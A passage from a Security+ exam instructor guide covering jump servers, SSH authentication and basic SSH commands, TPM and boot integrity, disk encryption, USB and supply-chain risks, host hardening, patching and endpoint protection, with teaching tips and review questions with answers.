the management interface. This sort of virtual OOB does still mean that access could
be compromised by a system-wide network failure, however.

Jump Servers
One of the challenges of managing hosts that are exposed to the Internet, such as in
a DMZ or cloud virtual network, is to provide administrative access to the servers and
appliances located within it. On the one hand, a link is necessary; on the other, the

Lesson 11: Implementing Secure Network Protocols | Topic 11C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 311

administrative interface could be compromised and exploited as a pivot point into

the rest of the network. Consequently, the management hosts permitted to access
administrative interfaces on hosts in the secure zone must be tightly controlled.
Configuring and auditing this type of control when there are many different servers
operating in the zone is complex.
One solution to this complexity is to add a single administration server, or jump
server, to the secure zone. The jump server only runs the necessary administrative
port and protocol (typically SSH or RDP). Administrators connect to the jump server
then use the jump server to connect to the admin interface on the application server.
The application server's admin interface has a single entry in its ACL (the jump server)
and denies connection attempts from any other hosts.

Show Slide(s)

Secure Shell

Teaching
Tip
SSH is primarily for
Securing management traffic using a jump server. UNIX/Linux, though
there are Windows
versions. Windows
can also use the
proprietary Windows
Secure Shell Remote Management
(WinRM) and Windows
Secure Shell (SSH) is the principal means of obtaining secure remote access to a Remote Shell (WinRS).
command-line terminal. The main uses of SSH are for remote administration and Make sure students
secure file transfer (SFTP). There are numerous commercial and open source SSH understand the
products available for all the major NOS platforms. The most widely used is OpenSSH difference between
(openssh.com). identifying a server
via its host key, and
SSH servers are identified by a public/private key pair (the host key). A mapping of host connecting to the
names to public keys can be kept manually by each SSH client or there are various server using a client
enterprise software products designed for SSH host key management. public key.

Lesson 11: Implementing Secure Network Protocols | Topic 11C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 312 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Confirming the SSH server's host key using the PuTTY SSH client
(Screenshot used with permission from PuTTY.)

The host key must be changed if any compromise of the host is suspected. If an attacker has
obtained the private key of a server or appliance, they can masquerade as that server or
appliance and perform a man-in-the-middle attack, usually with a view to obtaining other
network credentials.

The server's host key is used to set up a secure channel to use for the client to submit
authentication credentials.

SSH Client Authentication

SSH allows various methods for the client to authenticate to the SSH server. Each of
these methods can be enabled or disabled as required on the server, using the /etc/
ssh/sshd_config file:
• Username/password—the client submits credentials that are verified by the SSH
server either against a local user database or using a RADIUS/TACACS+ server.

• Public key authentication—each remote user's public key is added to a list of keys
authorized for each local account on the SSH server.

• Kerberos—the client submits the Kerberos credentials (a Ticket Granting Ticket)

obtained when the user logged onto the workstation to the server using GSSAPI
(Generic Security Services Application Program Interface). The SSH server contacts
the Ticket Granting Service (in a Windows environment, this will be a domain
controller) to validate the credential.

Managing valid client public keys is a critical security task. Many recent attacks on web
servers have exploited poor key management. If a user's private key is compromised, delete
the public key from the appliance then regenerate the key pair on the user's (remediated)
client device and copy the public key to the SSH server. Always delete public keys if the user's
access permissions have been revoked.

Lesson 11: Implementing Secure Network Protocols | Topic 11C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 313

SSH Commands
SSH commands are used to connect to hosts and set up authentication methods. To
connect to an SSH server at 10.1.0.10 using an account named "bobby" and password
authentication, run:
ssh [email protected]
The following commands create a new key pair and copy it to an account on the
remote server:
ssh-keygen -t rsa
ssh-copy-id [email protected]
At an SSH prompt, you can now use the standard Linux shell commands. Use exit to
close the connection.
You can also use the scp command to copy a file from the remote server to the
local host:
scp [email protected]:/logs/audit.log audit.log
Reverse the arguments to copy a file from the local host to the remote server. To copy
the contents of a directory and any subdirectories (recursively), use the -r option.

Lesson 11: Implementing Secure Network Protocols | Topic 11C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 314 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Secure Remote Access Protocols
Answer the following questions:

1. True or false? A TLS VPN can only provide access to web-based network
resources.

False—a Transport Layer Security (TLS) VPN uses TLS to encapsulate the private
network data and tunnel it over the network. The private network data could be frames
or IP-level packets and is not constrained by application-layer protocol type.

2. What is Microsoft's TLS VPN solution?

The Secure Sockets Tunneling Protocol (SSTP).

3. What IPSec mode would you use for data confidentiality on a private
network?

Transport mode with Encapsulating Security Payload (ESP). Tunnel mode encrypts the
IP header information, but this is unnecessary on a private network. Authentication
Header (AH) provides message authentication and integrity but not confidentiality.

4. Which protocol is often used in conjunction with IPSec to provide a remote

access client VPN with user authentication?

Layer 2 Tunneling Protocol (L2TP).

5. What is the main advantage of IKE v2 over IKE v1?

Rather than just providing mutual authentication of the host endpoints, IKE v2 supports
a user account authentication method, such as Extensible Authentication Protocol
(EAP).

6. What bit of information confirms the identity of an SSH server to a client?

The server's public key (host key). Note that this can only be trusted if the client trusts
that the public key is valid. The client might confirm this manually or using a Certificate
Authority.

Lesson 11: Implementing Secure Network Protocols | Topic 11C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 315

Lesson 11
Summary
You should be able to configure secure protocols for local network access and Teaching
management, application services, and remote access and management. Tip
Check that students
Guidelines for Implementing Secure Network Protocols are confident about
the content that has
been covered. If there
Follow these guidelines when you implement or reconfigure network protocols: is time, re-visit any
• Ensure availability for critical network address allocation (DHCP), name resolution content examples that
they have questions
(DNS), directory access (LDAP), and time synchronization (NTP) services. Monitor the
about. If you have
network to detect and remove rogue services. used all the available
time for this lesson
• Consider using SNMP for monitoring service availability. block, note the issues,
and schedule time for
• Assess the requirements for securing an application protocol, such as certificates or a review later in the
shared keys for authentication and TCP/UDP port usage. Ensure secure distribution course.
of credentials and create configuration documentation for secure usage.

• Deploy certificates to web servers to use with HTTPS.

• Deploy certificates to email servers to use with secure SMTP, POP3, and IMAP.

• Deploy certificates or host keys to file servers to use with FTPS or SFTP.

• Deploy certificates to email clients to use with S/MIME.

• Deploy certificates to VoIP gateways and endpoints to use with SIPS and SRTP.

• Deploy certificates or shared keys to VPN gateways and clients for use with TLS
VPNs, IPSec, and L2TP/IPSec.

• Configure RDP gateways and SSH servers with certificates or host keys. Configure
client authentication using user credentials or public keys.

• Implement SAWs and out-of-band network interfaces or jump servers for secure
remote management of servers and network infrastructure.

Lesson 11: Implementing Secure Network Protocols

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Lesson 12
Implementing Host Security Solutions

LESSON INTRODUCTION Teaching

Tip
Effective network architecture design, protocol configuration, and the use of Still pursuing the
appliances such as firewalls and intrusion detection help to provide a secure network protect infrastructure
environment, but we also need to consider the security systems configured on theme, this lesson
network hosts as well. Security procedures and solutions are complicated by the focuses on endpoint
range of different types of hosts that networks must support, from PCs and laptops to security. "Ordinary"
hosts and embedded
smartphones and embedded controllers.
systems are covered
here, while mobile
Lesson Objectives is discussed in the
following lesson.
In this lesson, you will: This lesson covers a
lot of material that
• Implement secure firmware. is difficult to support
with lab work so make
• Implement endpoint security. sure you allocate
plenty of time to
• Explain embedded system security implications. covering it.

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 318 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 12A
Implement Secure Firmware

Teaching EXAM OBJECTIVES COVERED

Tip 1.2 Given a scenario, analyze potential indicators to determine the type of attack
3.2 Given a scenario, implement host or application security solutions
As well as PC
5.3 Explain the importance of policies to organizational security
hardware and
firmware security,
this topic covers USB/ The security of the hardware underpinning our network and computing devices is often
flash media attacks, overlooked. In part, this is because it is difficult for most companies to make their own
and looks at the third-
investigations in this area. They have to rely on the market and security agencies to
party/supply chain
content examples identify bad actors in supply chains. Nevertheless, it is important that you understand
from 1.2 and 5.3. the issues involved in secure systems design so that you can evaluate product offerings
and make recommendations for purchasing and device configuration.

Show Slide(s) Hardware Root of Trust

Hardware Root of
A hardware Root of Trust (RoT) or trust anchor is a secure subsystem that is able to
Trust provide attestation. Attestation means that a statement made by the system can be
trusted by the receiver. For example, when a computer joins a network, it might submit
Teaching a report to the network access control (NAC) server declaring, "My operating system
Tip files have not been replaced with malicious versions." The hardware root of trust is
Students should used to scan the boot metrics and OS files to verify their signatures, then it signs the
understand that report. The NAC server can trust the signature and therefore the report contents if it
a chain of trust can trust that the signing entity's private key is secure.
from the hardware
through to the OS The RoT is usually established by a type of cryptoprocessor called a trusted platform
kernel and drivers module (TPM). TPM is a specification for hardware-based storage of encryption keys,
is a prerequisite for hashed passwords, and other user and platform identification information. The TPM is
enforcing access implemented either as part of the chipset or as an embedded function of the CPU.
controls.
You might want to Each TPM is hard-coded with a unique, unchangeable asymmetric private key called
mention The Trusted the endorsement key. This endorsement key is used to create various other types
Computing Group of subkeys used in key storage, signature, and encryption operations. The TPM also
(trustedcomputing­ supports the concept of an owner, usually identified by a password (though this is
group.org) as the
driver for many of
not mandatory). Anyone with administrative control over the setup program can take
these standards and ownership of the TPM, which destroys and then regenerates its subkeys. A TPM can
technologies. be managed in Windows via the tpm.msc console or through group policy. On an
enterprise network, provisioning keys to the TPM might be centrally managed via the
Key Management Interoperability Protocol (KMIP).

Lesson 12: Implementing Host Security Solutions | Topic 12A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 319

Show Slide(s)

Configuring a Trusted Platform Module using system setup on an HP workstation. Boot Integrity
(Screenshot used with permission from HP.)
Teaching
Tip
The problem with establishing a hardware root of trust is that devices are used in
We assume that
environments where anyone can get complete control over them. There cannot be students know what
complete assurance that the firmware underpinning the hardware root of trust is UEFI is from A+. If not,
inviolable, but attacks against trusted modules are sufficiently difficult so as to provide consider explaining
effective security in most cases. the difference
between BIOS and
UEFI, though BIOS
Boot Integrity motherboards are
increasingly scarce.
Most PCs and smartphones implement the unified extensible firmware interface Explain how UEFI
(UEFI). UEFI provides code that allows the host to boot to an OS. UEFI can enforce a is accessed and
number of boot integrity checks. configured.
Make sure students
Secure Boot can distinguish secure
boot from measured
Secure boot is designed to prevent a computer from being hijacked by a malicious OS. boot. Secure boot is
about provisioning
UEFI is configured with digital certificates from valid OS vendors. The system firmware certificates for trusted
checks the operating system boot loader and kernel using the stored certificate to operating systems and
ensure that it has been digitally signed by the OS vendor. This prevents a boot loader blocking unauthorized
or kernel that has been changed by malware (or an OS installed without authorization) OSes. Measured
from being used. Secure boot is supported on Windows (docs.microsoft.com/en-us/ boot stores and
compares hashes of
windows/security/information-protection/secure-the-windows-10-boot-process) and
critical boot files to
many Linux platforms (wiki.ubuntu.com/UEFI/SecureBoot). Secure boot requires UEFI, detect unauthorized
but does not require a TPM. processes.
Attestation is the
Measured Boot process of sending
a signed boot log or
A trusted or measured boot process uses platform configuration registers (PCRs) report to a remote
in the TPM at each stage in the boot process to check whether hashes of key system server.

Lesson 12: Implementing Host Security Solutions | Topic 12A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 320 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

state data (boot firmware, boot loader, OS kernel, and critical drivers) have changed.
This does not usually prevent boot, but it will record the presence of unsigned kernel-
level code.

Boot Attestation
Boot attestation is the capability to transmit a boot log report signed by the TPM via a
trusted process to a remote server, such as a network access control server. The boot
log can be analyzed for signs of compromise, such as the presence of unsigned drivers.
The host can be prevented from accessing the network if it does not meet the required
health policy or if no attestation report is received.

Show Slide(s)

Disk Encryption

Teaching
Tip
Opal is complex, with
different options
for consumer and
enterprise grades.
Students can refer to
the white paper and
TCG slides for more
detail. This should
not be required Configuring secure boot settings via an HP workstation's UEFI firmware setup program.
for the exam, but if (Screenshot used with permission from HP.)
you want to give an
overview, note that
enterprise grades
support multiple
locking ranges that Disk Encryption
can be associated with
different DEKs and Full disk encryption (FDE) means that the entire contents of the drive (or volume),
users. There is also a including system files and folders, are encrypted. OS ACL-based security measures
parallel specification are quite simple to circumvent if an adversary can attach the drive to a different host
(TCG Storage Security OS. Drive encryption allays this security concern by making the contents of the drive
Subsystem Class: accessible only in combination with the correct encryption key. Disk encryption can be
Enterprise) aimed at
SCSI/SAS devices. applied to both hard disk drives (HDDs) and solid state drives (SSDs).
Note that SED is one FDE requires the secure storage of the key used to encrypt the drive contents.
of the best methods Normally, this is stored in a TPM. The TPM chip has a secure storage area that a disk
of media sanitization, encryption program, such as Windows BitLocker, can write its keys to. It is also possible
via the Crypto Erase
function. We'll discuss
to use a removable USB drive (if USB is a boot device option). As part of the setup
sanitization at the end process, you create a recovery password or key. This can be used if the disk is moved
of the course. to another computer or the TPM is damaged.

Lesson 12: Implementing Host Security Solutions | Topic 12A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 321

Activating BitLocker drive encryption. (Screenshot used with permission from Microsoft.)

One of the drawbacks of FDE is that, because the OS performs the cryptographic
operations, performance is reduced. This issue is mitigated by self-encrypting drives
(SED), where the cryptographic operations are performed by the drive controller. The
SED uses a symmetric data/media encryption key (DEK/MEK) for bulk encryption and
stores the DEK securely by encrypting it with an asymmetric key pair called either the
authentication key (AK) or key encryption key (KEK). Use of the AK is authenticated by
the user password. This means that the user password can be changed without having
to decrypt and re-encrypt the drive. Early types of SEDs used proprietary mechanisms,
but many vendors now develop to the Opal Storage Specification (nvmexpress.org/
wp-content/uploads/TCGandNVMe_Joint_White_Paper-TCG_Storage_Opal_and_NVMe_
FINAL.pdf), developed by the Trusted Computing Group (TCG).

As configuring passwords on individual drives is a huge challenge when more than a few
machines are involved, enterprises may use the Key Management Interoperability Protocol
(KMIP) along with a hardware security module (HSM) to automate the provisioning of
keys (trustedcomputinggroup.org/wp-content/uploads/SWG_TCG_Enterprise-Introduction_
Sept2010.pdf).

USB and Flash Drive Security Show Slide(s)

As revealed by researcher Karsten Nohl in his BadUSB paper (srlabs.de/wp-content/ USB and Flash Drive
uploads/2014/07/SRLabs-BadUSB-BlackHat-v1.pdf), exploiting the firmware of external Security
storage devices, such as USB flash drives (and potentially any other type of firmware),
presents adversaries with an incredible toolkit. The firmware can be reprogrammed Teaching
to make the device look like another device class, such as a keyboard. In this case it Tip
could then be used to inject a series of keystrokes upon an attachment or work as Make sure students
a keylogger. The device could also be programmed to act like a network device and understand the risks
corrupt name resolution, redirecting the user to malicious websites. from USB devices
and how to identify
Another example is the O.MG cable (theverge.com/2019/8/15/20807854/apple-mac- indicators of attacks.
lightning-cable-hack-mike-grover-mg-omg-cables-defcon-cybersecurity), which packs
enough processing capability into an ordinary-looking USB-Lightning cable to run an
access point and keylogger.
A modified device may have visual clues that distinguish it from a mass manufactured
thumb drive or cable, but these may be difficult to spot. You should warn users of the
risks and repeat the advice to never attach devices of unknown provenance to their
computers and smartphones. If you suspect a device as an attack vector, observe a
sandboxed lab system (sometimes referred to as a sheep dip) closely when attaching

Lesson 12: Implementing Host Security Solutions | Topic 12A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 322 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

the device. Look for command prompt windows or processes such as the command
interpreter starting and changes to the registry or other system files.

Not all attacks have to be so esoteric. USB sticks infected with ordinary malware are still
incredibly prolific infection vectors. Hosts should always be configured to prevent autorun
when USB devices are attached. USB ports can be blocked altogether using most types of
Host Intrusion Detection Systems (HIDS).

Show Slide(s) Third-Party Risk Management

Third-Party Risk
A root of trust is only trustworthy if the vendor has implemented it properly. Hardware
Management and firmware vulnerabilities and exploits demonstrate the necessity of third-party risk
management. A supply chain is the end-to-end process of supplying, manufacturing,
Teaching distributing, and finally releasing goods and services to a customer. For example, for a
Tip TPM to be trustworthy, the supply chain of chip manufacturers, firmware authors, OEM
Note that there are resellers, and administrative staff responsible for provisioning the computing device
two main scenarios to the end user must all be trustworthy. Anyone with the time and resources to modify
for evaluating this risk. the computer's firmware could (in theory) create some sort of backdoor access. The
Most businesses will same is true for any kind of computer or network hardware, right down to USB cables.
just focus on using
reputable suppliers Establishing a trusted supply chain for computer equipment essentially means denying
and being extremely malicious actors the time or resources to modify the assets being supplied.
careful about the
use of second-hand
equipment. Military For most businesses, use of reputable OEMs will represent the best practical effort at
and secret service type securing the supply chain. Government, military/security services, and large enterprises will
organizations may exercise greater scrutiny. Particular care should be taken if use is made of second-hand
perform their own machines.
audits of suppliers.
Remind students
about the controversy When assessing suppliers for risk, it is helpful to distinguish two types of relationship:
over Huawei's
smartphones and • Vendor—this means a supplier of commodity goods and services, possibly with
network infrastructure some level of customization and direct support.
appliances (pcworld.
com/article/3252255/ • Business partner—this implies a closer relationship where two companies share
cia-fbi-nsa-officials- quite closely aligned goals and marketing opportunities.
avoid-huawei-phones.
html). For example, Microsoft is a major software vendor, but it is not feasible for it to
establish direct relationships with all its potential customers. To expand its markets,
it develops partner relationships with original equipment manufacturers (OEMs) and
solution providers. Microsoft operates a program of certification and training for its
partners, which improves product support and security awareness.

Show Slide(s) End of Life Systems

End of Life Systems
When a manufacturer discontinues sales of a product, it enters an end of life
(EOL) phase in which support and availability of spares and updates become more
Teaching limited. An end of service life (EOSL) system is one that is no longer supported by
Tip its developer or vendor. EOSL products no longer receive security updates and so
Make sure students
represent a critical vulnerability if any remain in active use.
can contrast the For example, in Microsoft's support lifecycle policy, Windows versions are given five
support available
years of mainstream support and five years of extended support (during which only
when a product is EOL
with EOSL. security updates are shipped). You can check the support status for a particular version
of Windows at support.microsoft.com/en-us/help/13853/windows-lifecycle-fact-sheet.
Most OS and application vendors have similar policies. Care also needs to be taken
with open source software. If the software is well-maintained, the development group
will identify versions that have Long Term Support (LTS). Other builds and version
branches might not receive updates.

Lesson 12: Implementing Host Security Solutions | Topic 12A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 323

It is also possible for both open source and commercial projects to be abandoned; if a
company continues to rely on such abandonware, it will have to assume development
responsibility for it. There are many instances of applications and devices (peripheral
devices especially) that remain on sale with serious known vulnerabilities in firmware
or drivers and no prospect of vendor support for a fix. The problem is also noticeable
in consumer-grade networking appliances and in the Internet of Things. When
provisioning a supplier for applications and devices, it is vital to establish that they have
effective security management lifecycles for their products.

Organizational Security Agreements Show Slide(s)

It is important to remember that although one can outsource virtually any service or Organizational
activity to a third party, one cannot outsource legal accountability for these services Security Agreements
or actions. You are ultimately responsible for the services and actions that these third
parties take. If they have any access to your data or systems, any security breach in their Teaching
organization (for example, unauthorized data sharing) is effectively a breach in yours. Tip
Issues of security risk awareness, shared duties, and contractual responsibilities can be We don't try to
set out in a formal legal agreement. The following types of agreements are common: go into any detail
here—just make sure
• Memorandum of understanding (MOU)—A preliminary or exploratory agreement students know the
to express an intent to work together. MOUs are usually intended to be relatively basic purpose of each
informal and not to act as binding contracts. MOUs almost always have clauses agreement type.
stating that the parties shall respect confidentiality, however.

• Business partnership agreement (BPA)—While there are many ways of

establishing business partnerships, the most common model in IT is the partner
agreements that large IT companies (such as Microsoft and Cisco) set up with
resellers and solution providers.

• Non-disclosure agreement (NDA)—Legal basis for protecting information assets.

NDAs are used between companies and employees, between companies and
contractors, and between two companies. If the employee or contractor breaks this
agreement and does share such information, they may face legal consequences.
NDAs are useful because they deter employees and contractors from violating the
trust that an employer places in them.

• Service level agreement (SLA)—A contractual agreement setting out the detailed
terms under which a service is provided.

• Measurement systems analysis (MSA)—quality management processes, such as

Six Sigma, make use of quantified analysis methods to determine the effectiveness
of a system. This can be applied to cybersecurity procedures, such as vulnerability
and threat detection and response. A measurement systems analysis (MSA) is a
means of evaluating the data collection and statistical methods used by a quality
management process to ensure they are robust. This might be an onboarding
requirement when partnering with enterprise companies or government agencies.

A legal agreement is all very well, but it is still up to you to make sure that your
suppliers, vendors, and contractors can live up to it. If they can't, you may successfully
sue them, but if they go out of business, you are still accountable for their actions or
failures to act.

Conversely, you need to ensure that you can comply with the requirements and
performance standards of any agreements that you enter into as a service provider.

Lesson 12: Implementing Host Security Solutions | Topic 12A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 324 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Secure Firmware
Answer the following questions:

1. What use is made of a TPM for NAC attestation?

The Trusted Platform Module (TPM) is a tamper-proof (at least in theory) cryptographic
module embedded in the CPU or chipset. This can provide a means to sign the report
of the system configuration so that a network access control (NAC) policy enforcer can
trust it.

2. Why are OS-enforced file access controls not sufficient in the event of the
loss or theft of a computer or mobile device?

The disk (or other storage) could be attached to a foreign system and the administrator
could take ownership of the files. File-level, full disk encryption (FDE), or self-encrypting
drives (SED) mitigate this by requiring the presence of the user's decryption key to read
the data.

3. What use is a TPM when implementing full disk encryption?

A trusted platform module provides a secure mechanism for creating and storing the
key used to encrypt the data. Access to the key is provided by configuring a password.
The alternative is usually to store the private key on a USB stick.

4. What countermeasures can you use against the threat of malicious

firmware code?

Only use reputable suppliers for peripheral devices and strictly controlled sources for
firmware updates. Consider use of a sheep dip sandboxed system to observe a device
before allowing it to be attached to a host in the enterprise network. Use execution
control software to allow only approved USB vendors.

5. What type of interoperability agreement would be appropriate at the outset

of two companies agreeing to work with one another?

A memorandum of understanding (MOU).

6. What type of interoperability agreement is designed to ensure specific

performance standards?

A service level agreement (SLA). In addition, performance standards may also be

incorporated in business partner agreements (BPAs).

Lesson 12: Implementing Host Security Solutions | Topic 12A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 325

Topic 12B
Implement Endpoint Security

EXAM OBJECTIVES COVERED Teaching

3.2 Given a scenario, implement host or application security solutions Tip
This topic is
straightforward and
builds upon principles
Host hardware integrity is not of much use if the OS and applications software running
that are well-
on it is weakly configured. As a security professional, you will often assist with drafting established by A+, so
configuration baselines, ensuring hosts comply with those baselines, and implementing you should be able to
endpoint protection security agents. complete it quickly.

Hardening Show Slide(s)

The process of putting an operating system or application in a secure configuration Hardening

is called hardening. When hardening a system, it is important to keep in mind its
intended use, because hardening a system can also restrict the system's access and
capabilities. The need for hardening must be balanced against the access requirements
and usability in a particular situation.
For an OS functioning in a given role, there will usually be a fairly standard series
of steps to follow to apply a secure configuration to allow the OS and applications
software to execute that role. Many of the requirements can be applied automatically
via a configuration baseline template. The essential principle is of least functionality;
that a system should run only the protocols and services required by legitimate users
and no more. This reduces the potential attack surface.
• Interfaces provide a connection to the network. Some machines may have more
than one interface. For example, there may be wired and wireless interfaces or a
modem interface. Some machines may come with a management network interface
card. If any of these interfaces are not required, they should be explicitly disabled
rather than simply left unused.

• Services provide a library of functions for different types of applications. Some

services support local features of the OS and installed applications. Other services
support remote connections from clients to server applications. Unused services
should be disabled.

• Application service ports allow client software to connect to applications over a

network. These should either be disabled or blocked at a firewall if remote access
is not required. Be aware that a server might be configured with a non-standard
port. For example, an HTTP server might be configured to use 8080 rather than
80. Conversely, malware may try to send non-standard data over an open port. An
intrusion detection system should detect if network data does not correspond to
the expected protocol format.

• Persistent storage holds user data generated by applications, plus cached

credentials. Disk encryption is essential to data security. Self encrypting drives can
be used so that all data-at-rest is always stored securely.

Lesson 12: Implementing Host Security Solutions | Topic 12B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 326 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

It is also important to establish a maintenance cycle for each device and keep up to
date with new security threats and responses for the particular software products that
you are running.

Show Slide(s) Baseline Configuration and Registry Settings

Baseline Configuration
You will have separate configuration baselines for desktop clients, file and print
and Registry Settings servers, Domain Name System (DNS) servers, application servers, directory services
servers, and other types of systems. In Windows, configuration settings are stored in
Teaching the registry. On a Windows domain network, each domain-joined computer will receive
Tip policy settings from one or more group policy objects (GPOs). These policy settings are
Note that Linux stores applied to the registry each time a computer boots. Where hosts are centrally managed
all configuration and running only authorized apps and services, there should be relatively little reason
settings in text for security-relevant registry values to change. Rights to modify the registry should only
files. These can be issued to user and service accounts on a least privilege basis. A host-based intrusion
be scanned for
detection system can be configured to alert suspicious registry events.
baseline compliance
(access.redhat.com/ Baseline deviation reporting means testing the actual configuration of hosts to ensure
documentation/en-us/ that their configuration settings match the baseline template. On Windows networks,
red_hat_enterprise_
linux/7/html/security_
the Microsoft Baseline Security Analyzer (MBSA) tool was popularly used to validate
guide/configuration- the security configuration. MBSA and other Microsoft reporting tools have now been
compliance-scanning_ replaced by the Security Compliance Toolkit (docs.microsoft.com/en-us/windows/
scanning-the-system- security/threat-protection/security-compliance-toolkit-10).
for-configuration-
compliance-and-
vulnerabilities).

Using Security Compliance Manager to compare settings in a production GPO with Microsoft's
template policy settings. (Screenshot used with permission from Microsoft.)

Show Slide(s) Patch Management

Patch Management
No operating system, software application, or firmware implementation is wholly free
from vulnerabilities. As soon as a vulnerability is identified, vendors will try to correct it.
At the same time, attackers will try to exploit it. Automated vulnerability scanners can

Lesson 12: Implementing Host Security Solutions | Topic 12B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 327

be effective at discovering missing patches for the operating system, plus a wide range Teaching
of third-party software apps and devices/firmware. Scanning is only useful if effective Tip
procedures are in-place to apply the missing patches, however. Unpatched client
On residential and small networks, hosts will be configured to auto-update, meaning applications and web
application servers
that they check for and install patches automatically. The major OS and applications (corrupting trusted
software products are well-supported in terms of vendor-supplied fixes for security websites through
issues. Enterprise networks need to be cautious about this sort of automated the site owner's lax
deployment, however, as a patch that is incompatible with an application or workflow security) remain one
can cause availability issues. There can also be performance and management issues of the biggest security
issues at the current
when multiple applications run update clients on the same host. For example, as well
time (Equifax for
as the OS updater, there is likely to be a security software update, browser updater, instance, theregister.
Java updater, OEM driver updater, and so on. These issues can be mitigated by com/2017/09/14/
deploying an enterprise patch management suite. Some suites, such as Microsoft’s missed_patch_caused_
System Center Configuration Manager (SCCM)/Endpoint Manager (docs.microsoft.com/ equifax_data_breach).
en-us/mem/configmgr), are vendor-specific while others are designed to support third- Recent years have
seen leaks of tools
party applications and multiple OSs.
developed by the CIA
It can also be difficult to schedule patch operations, especially if applying the patch and other intelligence
is an availability risk to a critical system. If vulnerability assessments are continually agencies to exploit
vulnerabilities in
highlighting issues with missing patches, patch management procedures should Windows and mobile
be upgraded. If the problem affects certain hosts only, it could be an indicator of OS. This means that
compromise that should be investigated more closely. systems that are not
completely up to
Patch management can also be difficult for legacy systems, proprietary systems, and date with patches are
systems from vendors without robust security management plans, such as some types extremely high risk.
of Internet of Things devices. These systems will need compensating controls, or some
other form of risk mitigation if patches are not readily available.

Endpoint Protection Show Slide(s)

Another crucial step in hardening is to configure endpoint protection for automatic Endpoint Protection
detection and prevention of malware threats. There have been many iterations of
host-based/endpoint protection suites and agents. It is important to consider the Teaching
contrasting functions performed, as individual software tools or protection suites often Tip
combine multiple functionality. Students should
hopefully be
Antivirus (A-V)/Anti-Malware comfortable with
the features and
The first generation of anti-virus (A-V) software is characterized by signature-based operation of AV
detection and prevention of known viruses. An "A-V" product will now perform scanners, so focus on
generalized malware detection, meaning not just viruses and worms, but also Trojans, advanced malware
spyware, PUPs, cryptojackers, and so on. While A-V software remains important, detection techniques.
signature-based detection is widely recognized as being insufficient for the prevention Note that we'll cover
of data breaches. DLP in more detail
later in the course.
Host-Based Intrusion Detection/Prevention (HIDS/HIPS) Interaction
Opportunity
Host-based intrusion detection systems (HIDS) provide threat detection via log and
file system monitoring. HIDS come in many different forms with different capabilities, Optionally, get the
some of them preventative (HIPS). File system integrity monitoring uses signatures to students to research
features of EPPs on
detect whether a managed file image—such as an OS system file, driver, or application different vendor sites.
executable—has changed. Products may also monitor ports and network interfaces,
and process data and logs generated by specific applications, such as HTTP or FTP.

Endpoint Protection Platform (EPP)

Endpoint protection usually depends on an agent running on the local host. If multiple
security products install multiple agents (say one for A-V, one for HIDS, another for
host-based firewall, and so on), they can impact system performance and cause

Lesson 12: Implementing Host Security Solutions | Topic 12B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 328 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

conflicts, creating numerous technical support incidents and security incident false
positives. An endpoint protection platform (EPP) is a single agent performing multiple
security tasks, including malware/intrusion detection and prevention, but also other
security features, such as a host firewall, web content filtering/secure search and
browsing, and file/message encryption.

Data Loss Prevention (DLP)

Many EPPs include a data loss prevention (DLP) agent. This is configured with policies
to identify privileged files and strings that should be kept private or confidential, such
as credit card numbers. The agent enforces the policy to prevent data from being
copied or attached to a message without authorization.

Endpoint Protection Deployment

While specific products vary widely in terms of features and implementation detail,
some generic tasks to implement endpoint protection include:
1. Configure the management system to push the agent software and any updates
to all desktops. This will require configuring permissions and firewall settings.

2. Assign hosts to appropriate groups for policy assignment. For example, client
endpoints have very different security requirements to servers. While it may be
appropriate to use a preventative mechanism immediately to isolate a client
when a threat is detected, automatically doing this for a critical server could
cascade to loss of functionality across the network.

3. Test the different host group configuration settings to ensure that the expected
range of threats is detected.

4. Use a monitoring dashboard to verify status across all network hosts. Apart from
detection events, if the agent is disabled or missing, there should be an alert.

Show Slide(s) Next-Generation Endpoint Protection

Next-Generation
Where EPP provides mostly signature-based detection and prevention, next-generation
Endpoint Protection endpoint protection with automated response is focused on logging of endpoint
observables and indicators combined with behavioral- and anomaly-based analysis.
Teaching
Tip Endpoint Detection and Response (EDR)
Note these platforms
An endpoint detection and response (EDR) product's aim is not to prevent initial
are distinguished by
